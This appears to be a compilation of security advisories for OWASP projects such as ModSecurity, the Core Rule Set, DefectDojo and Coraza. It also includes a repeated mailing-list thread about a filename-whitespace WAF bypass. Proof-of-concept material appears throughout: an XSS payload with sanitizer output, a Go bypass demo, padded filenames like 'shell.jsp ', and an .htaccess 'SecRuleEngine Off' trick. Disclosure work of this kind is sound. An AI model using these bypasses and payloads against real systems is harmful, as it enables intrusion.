An issue in the JsonSanitizer.sanitize() component of OWASP json-sanitizer v1.2.3 allows attackers to cause a Denial of Service (DoS) via a crafted input.

Latest version: 5.1.0

A vulnerability was found in ModSecurity. This issue occurs when HTTP multipart requests are incorrectly parsed and could bypass the Web Application Firewall. NOTE: This is related to CVE-2022-39956, but can be considered independent changes to the ModSecurity (C language) codebase.

ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. Libmodsecurity is one component of the ModSecurity v3 project. A segmentation fault occurs when a rule using the t:hexDecode transformation inspects a query string parameter containing a single character. An attacker can exploit this to crash worker processes, causing a denial of service. Service resumes once the attack stops as worker processes recover from the segfault. All versions before 3.0.15 of libModSecurity3 are affected. This has been patched in version 3.0.15.

The OWASP core rule set (CRS) is a set of generic attack detection rules for use with compatible web application firewalls. Prior to versions 3.3.9 and 4.25.0, a bypass was identified in OWASP CRS that allows uploading files with dangerous extensions (.php, .phar, .jsp, .jspx) by inserting whitespace padding in the filename (e.g. photo. php or shell.jsp ). The affected rules do not normalize whitespace before evaluating the file extension regex, so the dot-extension check fails to match. This issue has been patched in versions 3.3.9 and 4.25.0.

A vulnerability was identified in OWASP DefectDojo 2.59.0. This issue affects the function UserSerializer of the file dojo/apiv2/serializers.py of the component API/Web. Such manipulation of the argument isstaff leads to improper privilege management. The attack may be performed from remote. The exploit is publicly available and might be used. Upgrading to version 2.58.3 and 3.0.0 is capable of addressing this issue. The name of the patch is 68a272f299d096249fd3ba9c2676bf69012857bf. It is advisable to upgrade the affected component. 2.59.0 was not intended to be released and has been removed.

DependencyCheck for Maven 9.0.0 to 9.0.6, for CLI version 9.0.0 to 9.0.5, and for Ant versions 9.0.0 to 9.0.5, when used in debug mode, allows an attacker to recover the NVD API Key from a log file.

ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. Prior to 3.0.16, the multipart/form-data request body parser in libmodsecurity silently removes embedded line breaks from non-file form-field values before exporting them to ARGS and ARGSPOST because src/requestbodyprocessor/multipart.cc overwrites reserved bytes in mreserve instead of appending the current buffer. This creates a parser differential between ModSecurity and backend applications that preserve line breaks in form fields, allowing rules that inspect ARGS or ARGSPOST to miss payloads whose dangerous syntax depends on a line break. This issue is fixed in version 3.0.16.

ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. From 3.0.0 through 3.0.15, the t:utf8toUnicode transformation in src/actions/transformations/utf8tounicode.cc produces wrong output on i386 architecture because snprintf uses sizeof on a char pointer rather than the length of the unicode buffer, allowing rules that use this transformation to be bypassed on i386 architecture. This issue is fixed in version 3.0.16.

A vulnerability was determined in OWAP DefectDojo up to 2.55.4. Affected by this vulnerability is an unknown functionality of the component Benchmark/Engagement/Product/Survey. Executing a manipulation can lead to authorization bypass. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.56.0 addresses this issue. This patch is called eb6120a379185d37eb1af17b69bb5614a830ab1f. Upgrading the affected component is recommended.

Summary

URLs starting with // are not parsed properly, and the request REQUESTFILENAME variable contains a wrong value, leading to potential rules bypass.

Details

If a request is made on an URI starting with //, coraza will set a wrong value in REQUESTFILENAME. For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUESTFILENAME will be set to /uploads/foo.php.

The root cause is the usage of url.Parse to parse the URI in ProcessURI.

url.Parse can parse both absolute URLs (starting with a scheme) or relative ones (just the path). //bar/uploads/foo.php is a valid absolute URI (the scheme is empty), url.Parse will consider bar as the host and the path will be set to /uploads/foo.php.

PoC

go package main

import ( "fmt" "net/url" "os"

"github.com/corazawaf/coraza/v3" )

const testRule = SecDebugLogLevel 9 SecDebugLog /dev/stdout SecRule REQUESTFILENAME "@rx /bar/uploads/.\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"

func main() { var testURL = "//bar/uploads/foo.php"

if os.Getenv("TESTURL") != "" { testURL = os.Getenv("TESTURL") }

fmt.Printf("Testing URL: %s\n", testURL)

config := coraza.NewWAFConfig().WithDirectives(testRule)

waf, err := coraza.NewWAF(config)

if err != nil { panic(err) }

tx := waf.NewTransaction()

tx.ProcessURI(testURL, "GET", "HTTP/1.1")

in := tx.ProcessRequestHeaders()

if in != nil { fmt.Printf("%+v\n", in) } }

Impact

Potential bypass of rules using REQUESTFILENAME.

ModSecurity / libModSecurity 3.0.0 to 3.0.11 is affected by a WAF bypass for path-based payloads submitted via specially crafted request URLs. ModSecurity v3 decodes percent-encoded characters present in request URLs before it separates the URL path component from the optional query string component. This results in an impedance mismatch versus RFC compliant back-end applications. The vulnerability hides an attack payload in the path component of the URL from WAF rules inspecting it. A back-end may be vulnerable if it uses the path component of request URLs to construct queries. Integrators and users are advised to upgrade to 3.0.12. The ModSecurity v2 release line is not affected by this vulnerability.

coreruleset (aka OWASP ModSecurity Core Rule Set) through 3.3.4 does not block multiple Content-Type headers, which might allow attackers to bypass a WAF with a crafted payload, aka "Content-Type confusion." This occurs when the web application relies on only the last Content-Type header.

End of life: 8/27/2026, Latest version: 5.0.5

OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more. Versions prior to 2.1.1 contain an RCE vulnerability in the .github/workflows/regenerate-migrations.yml workflow. The workflow uses the pullrequesttarget trigger to run with full GITHUBTOKEN write permissions, copies attacker-controlled files from untrusted pull requests into the trusted runner workspace via git show, and then executes python manage.py makemigrations, which imports Django model modules including attacker-controlled website/models.py at runtime. Any module-level Python code in the attacker's models.py is executed during import, enabling arbitrary code execution in the privileged CI environment with access to GITHUBTOKEN and repository secrets. The attack is triggerable by any external contributor who can open a pull request, provided a maintainer applies the regenerate-migrations label, potentially leading to secret exfiltration, repository compromise, and supply chain attacks. A patch for this issue is expected to be released in version 2.1.1.

ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. From 3.0.0 to before 3.0.15, there is an unhandled exception (std::outofrange) caused by unsigned integer underflow in libmodsecurity3 if the user (administrator) uses a rule any of @verifySSN, @verifyCPF, or @verifySVNR. This vulnerability is fixed in 3.0.15.

OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more. Prior to 2.1.2, .github/workflows/pre-commit-fix.yaml uses pullrequesttarget (privileged trigger) but checks out and executes code directly from the attacker's fork, enabling RCE with write permissions. This vulnerability is fixed in 2.1.2.

Hi,

On Sat, Apr 18, 2026 at 08:14:12AM -0400, cyber security wrote: Also you can use CVE-2026-33691, to disable security headers while bypassing CRS

More info at https://unlockoldupload.hashnode.dev/turn-off-security-headers-using-cve-2026-33691 This gives a 404 Page Not Found, but more importantly actual content should have been directly included in your posting, not only referenced via a link (although providing a link as well would then be OK). On Sat, Apr 18, 2026 at 3:00 AM cyber security <cs7778503 () gmail com> wrote: After deep analysis we confirm, that CVE-2026-33691 aka it alias UnlockOldUpload, can even disable ModSecurity WAF

More info at https://unlockoldupload.hashnode.dev/disable-modsecurity-waf-using-cve-2026-33691. This one exists. The gist of it is:

"upload a file called .htaccess with the content SecRuleEngine Off"

which should have been directly in your message.

With this, I think you've said enough about this CVE already, and should stop here - no further examples are needed.

Thanks,

Alexander

Also you can use CVE-2026-33691, to disable security headers while bypassing CRS

More info at https://unlockoldupload.hashnode.dev/turn-off-security-headers-using-cve-2026-33691

On Sat, Apr 18, 2026 at 3:00 AM cyber security <cs7778503 () gmail com> wrote: After deep analysis we confirm, that CVE-2026-33691 aka it alias UnlockOldUpload, can even disable ModSecurity WAF

More info at https://unlockoldupload.hashnode.dev/disable-modsecurity-waf-using-cve-2026-33691.

On Thu, Apr 16, 2026 at 3:37 PM cyber security <cs7778503 () gmail com> wrote: Deep analysis by US confirm, that using CVE-2026-33691, in any platform wheter windows or linux or mac, you can bypass unpatched CRS and use CVE-2015-10138

as confirmed, as we see in that line

1 // Lines 493-498 of public/includes/UploadHandler.php 2 protected function trimfilename($name, $type = null, $index = null, $contentrange = null) { 3 // Remove path information and dots around the filename... 4 // Also remove control characters and spaces (\x00..\x20) around the filename: 5 $name = trim(basename(stripslashes($name)), ".\x00..\x20"); 6 // ... 7 }

It unlocks the old CVE-2015-10138 and an attacker get RCE if WAFs are not patched, that unlocks the old vuln power against a modern WAF, most peoples rely only on the WAF alone and Work The Flow File Upload plugin is never patched and even run EOL that is very common, That is the danger, after that confirm, we see one wordpress plugin confirmed trims whitespaces from uploaded files

On Sun, Mar 29, 2026 at 3:33 AM cyber security <cs7778503 () gmail com> wrote: A vulnerability was identified in OWASP CRS where whitespace padding in filenames can bypass file upload extension checks, allowing uploads of dangerous files such as .php, .phar, .jsp, and .jspx. This issue has been assigned CVE‑2026‑33691.

Impact: Attackers may evade CRS protections and upload web shells disguised with whitespace‑padded extensions. Exploitation is most practical on Windows backends that normalize whitespace in filenames before execution, In linux harder because it require a backend that use like .strip() and .trim() and other whitespace trimming methods depending on the language here vulnerable to that or the webserver strip whitespaces or the backend on general, If not they not vulnerable to that.

Fix: Patched in CRS v3.3.9, v4.25.x LTS, and v4.8.x. Security fixes are always backported to supported branches.

References:

Full advisory: https://github.com/coreruleset/coreruleset/security/advisories/GHSA-rw5f-9w43-gv2w

Credits: Reported by RelunSec (aka @HackingRepo on Github).

After deep analysis we confirm, that CVE-2026-33691 aka it alias UnlockOldUpload, can even disable ModSecurity WAF

More info at https://unlockoldupload.hashnode.dev/disable-modsecurity-waf-using-cve-2026-33691.

On Thu, Apr 16, 2026 at 3:37 PM cyber security <cs7778503 () gmail com> wrote: Deep analysis by US confirm, that using CVE-2026-33691, in any platform wheter windows or linux or mac, you can bypass unpatched CRS and use CVE-2015-10138

as confirmed, as we see in that line

1 // Lines 493-498 of public/includes/UploadHandler.php 2 protected function trimfilename($name, $type = null, $index = null, $contentrange = null) { 3 // Remove path information and dots around the filename... 4 // Also remove control characters and spaces (\x00..\x20) around the filename: 5 $name = trim(basename(stripslashes($name)), ".\x00..\x20"); 6 // ... 7 }

It unlocks the old CVE-2015-10138 and an attacker get RCE if WAFs are not patched, that unlocks the old vuln power against a modern WAF, most peoples rely only on the WAF alone and Work The Flow File Upload plugin is never patched and even run EOL that is very common, That is the danger, after that confirm, we see one wordpress plugin confirmed trims whitespaces from uploaded files

On Sun, Mar 29, 2026 at 3:33 AM cyber security <cs7778503 () gmail com> wrote: A vulnerability was identified in OWASP CRS where whitespace padding in filenames can bypass file upload extension checks, allowing uploads of dangerous files such as .php, .phar, .jsp, and .jspx. This issue has been assigned CVE‑2026‑33691.

Impact: Attackers may evade CRS protections and upload web shells disguised with whitespace‑padded extensions. Exploitation is most practical on Windows backends that normalize whitespace in filenames before execution, In linux harder because it require a backend that use like .strip() and .trim() and other whitespace trimming methods depending on the language here vulnerable to that or the webserver strip whitespaces or the backend on general, If not they not vulnerable to that.

Fix: Patched in CRS v3.3.9, v4.25.x LTS, and v4.8.x. Security fixes are always backported to supported branches.

References:

Full advisory: https://github.com/coreruleset/coreruleset/security/advisories/GHSA-rw5f-9w43-gv2w

Credits: Reported by RelunSec (aka @HackingRepo on Github).

Deep analysis by US confirm, that using CVE-2026-33691, in any platform wheter windows or linux or mac, you can bypass unpatched CRS and use CVE-2015-10138

as confirmed, as we see in that line

1 // Lines 493-498 of public/includes/UploadHandler.php 2 protected function trimfilename($name, $type = null, $index = null, $contentrange = null) { 3 // Remove path information and dots around the filename... 4 // Also remove control characters and spaces (\x00..\x20) around the filename: 5 $name = trim(basename(stripslashes($name)), ".\x00..\x20"); 6 // ... 7 }

It unlocks the old CVE-2015-10138 and an attacker get RCE if WAFs are not patched, that unlocks the old vuln power against a modern WAF, most peoples rely only on the WAF alone and Work The Flow File Upload plugin is never patched and even run EOL that is very common, That is the danger, after that confirm, we see one wordpress plugin confirmed trims whitespaces from uploaded files

On Sun, Mar 29, 2026 at 3:33 AM cyber security <cs7778503 () gmail com> wrote: A vulnerability was identified in OWASP CRS where whitespace padding in filenames can bypass file upload extension checks, allowing uploads of dangerous files such as .php, .phar, .jsp, and .jspx. This issue has been assigned CVE‑2026‑33691.

Impact: Attackers may evade CRS protections and upload web shells disguised with whitespace‑padded extensions. Exploitation is most practical on Windows backends that normalize whitespace in filenames before execution, In linux harder because it require a backend that use like .strip() and .trim() and other whitespace trimming methods depending on the language here vulnerable to that or the webserver strip whitespaces or the backend on general, If not they not vulnerable to that.

Fix: Patched in CRS v3.3.9, v4.25.x LTS, and v4.8.x. Security fixes are always backported to supported branches.

References:

Full advisory: https://github.com/coreruleset/coreruleset/security/advisories/GHSA-rw5f-9w43-gv2w

Credits: Reported by RelunSec (aka @HackingRepo on Github).

The OWASP core rule set (CRS) is a set of generic attack detection rules for use with compatible web application firewalls. Prior to versions 4.22.0 and 3.3.8, the current rule 922110 has a bug when processing multipart requests with multiple parts. When the first rule in a chain iterates over a collection (like MULTIPARTPARTHEADERS), the capture variables (TX:0, TX:1) get overwritten with each iteration. Only the last captured value is available to the chained rule, which means malicious charsets in earlier parts can be missed if a later part has a legitimate charset. Versions 4.22.0 and 3.3.8 patch the issue.

A vulnerability was identified in OWASP CRS where whitespace padding in filenames can bypass file upload extension checks, allowing uploads of dangerous files such as .php, .phar, .jsp, and .jspx. This issue has been assigned CVE‑2026‑33691.

Impact: Attackers may evade CRS protections and upload web shells disguised with whitespace‑padded extensions. Exploitation is most practical on Windows backends that normalize whitespace in filenames before execution, In linux harder because it require a backend that use like .strip() and .trim() and other whitespace trimming methods depending on the language here vulnerable to that or the webserver strip whitespaces or the backend on general, If not they not vulnerable to that.

Fix: Patched in CRS v3.3.9, v4.25.x LTS, and v4.8.x. Security fixes are always backported to supported branches.

References:

Full advisory: https://github.com/coreruleset/coreruleset/security/advisories/GHSA-rw5f-9w43-gv2w

Credits: Reported by RelunSec (aka @HackingRepo on Github).

A security vulnerability has been detected in OWASP DefectDojo up to 2.55.4. This vulnerability affects the function inputzip.read of the file parser.py of the component SonarQubeParser/MSDefenderParser. The manipulation leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 2.56.0 is able to resolve this issue. The identifier of the patch is e8f1e5131535b8fd80a7b1b3085d676295fdcd41. Upgrading the affected component is recommended.

End of life: 12/9/2026, Latest version: 4.14.3

FACTION is a PenTesting Report Generation and Collaboration Framework. Prior to version 1.7.1, an extension execution path in Faction’s extension framework permits untrusted extension code to execute arbitrary system commands on the server when a lifecycle hook is invoked, resulting in remote code execution (RCE) on the host running Faction. Due to a missing authentication check on the /portal/AppStoreDashboard endpoint, an attacker can access the extension management UI and upload a malicious extension without any authentication, making this vulnerability exploitable by unauthenticated users. This issue has been patched in version 1.7.1.

Summary It is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows noscript and style tags with allowTextIn inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy.

Details

The OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows noscript & style tag with allowTextIn inside style tags.

The following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except noscript and allow style tag with allowTextIn inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives noscript tags post sanitization.

PoC

1. Lets create a HtmlPolicyBuilder which allows p, noscript, style html tags and allows .allowTextIn("style"). 2. There are two XSS payloads which very identical and only difference is one has p tag and other has noscript tag. These payload have script tags that could be vulnerable to XSS and should be stripped out after sanitisation.

HTML 1. <noscript><style></noscript><script>alert(1)</script> 2. <p><style></p><script>alert(1)</script>

3. Run the following piece of code which sanitizes the payload.

java public class main { private static final String ALLOWEDHTMLTAGS = "p, noscript, style";

/ Description of vulnerability : The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags. However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases. /

public static void main(String[] args) { withAllowedTextAndStyleTag(); }

/ Test case : Vulnerable to XSS / public static void withAllowedTextAndStyleTag() { HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder(); PolicyFactory policy = htmlPolicyBuilder .allowElements(ALLOWEDHTMLTAGS.split("\\s,\\s")) .allowTextIn("style") .toFactory(); String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>"; String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";

System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne)); System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo)); } }

Use the latest library version

xml <dependency> <groupId>com.googlecode.owasp-java-html-sanitizer</groupId> <artifactId>owasp-java-html-sanitizer</artifactId> <version>20240325.1</version> </dependency>

4. Output of the POC code should look like this

HTML

PAYLOAD: <noscript><style></noscript><script>alert(1)</script> SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>

PAYLOAD: <p><style></p><script>alert(1)</script> SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>

5. Lets understand what happened in sanitization process below

txt --------------------------| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS

-----------------------------------| --> after sanitization, payload in script tag remained same and style and noscript tags is closed. SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>

-------------------| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS

--------------------------- | --> after sanitization payload in script tag remained same and style and p tags is closed. SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>

6. Lets create a sample html page and copy both sanitized output which should be generated in step 5

HTML

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>POC OF SANITIZER OUTPUT</title> </head> <body>

<!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>--> <noscript><style></noscript><script>alert(1)</script></style></noscript>

<!-- SAFE OUTPUT --> <p><style></p><script>alert(1)</script></style></p>

</body> </html>

7. Open this HTML page in the browser it should pop an alert.

!Alt text

8. Open inspect element to understand what happened. If users look closely a payload combined with p tag and style tag did not cause XSS and browser percived anything after style tag as CSS.

!SAFE from XSS

9. The payload which combined with noscript tag and style tag did caused XSS. The broswer perceived noscript and which wrapped style tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag.

!XSS POC

Impact 1. This potentially could leads to XSS in applications. Ref : https://owasp.org/www-community/attacks/xss/

The OWASP ModSecurity Core Rule Set (CRS) is affected by a response body bypass to sequentially exfiltrate small and undetectable sections of data by repeatedly submitting an HTTP Range header field with a small byte range. A restricted resource, access to which would ordinarily be detected, may be exfiltrated from the backend, despite being protected by a web application firewall that uses CRS. Short subsections of a restricted resource may bypass pattern matching techniques and allow undetected access. The legacy CRS versions 3.0.x and 3.1.x are affected, as well as the currently supported versions 3.2.1 and 3.3.2. Integrators and users are advised to upgrade to 3.2.2 and 3.3.3 respectively and to configure a CRS paranoia level of 3 or higher.

The OWASP ModSecurity Core Rule Set (CRS) is affected by a response body bypass. A client can issue an HTTP Accept header field containing an optional "charset" parameter in order to receive the response in an encoded form. Depending on the "charset", this response can not be decoded by the web application firewall. A restricted resource, access to which would ordinarily be detected, may therefore bypass detection. The legacy CRS versions 3.0.x and 3.1.x are affected, as well as the currently supported versions 3.2.1 and 3.3.2. Integrators and users are advised to upgrade to 3.2.2 and 3.3.3 respectively.

The OWASP ModSecurity Core Rule Set (CRS) is affected by a partial rule set bypass by submitting a specially crafted HTTP Content-Type header field that indicates multiple character encoding schemes. A vulnerable back-end can potentially be exploited by declaring multiple Content-Type "charset" names and therefore bypassing the configurable CRS Content-Type header "charset" allow list. An encoded payload can bypass CRS detection this way and may then be decoded by the backend. The legacy CRS versions 3.0.x and 3.1.x are affected, as well as the currently supported versions 3.2.1 and 3.3.2. Integrators and users are advised to upgrade to 3.2.2 and 3.3.3 respectively.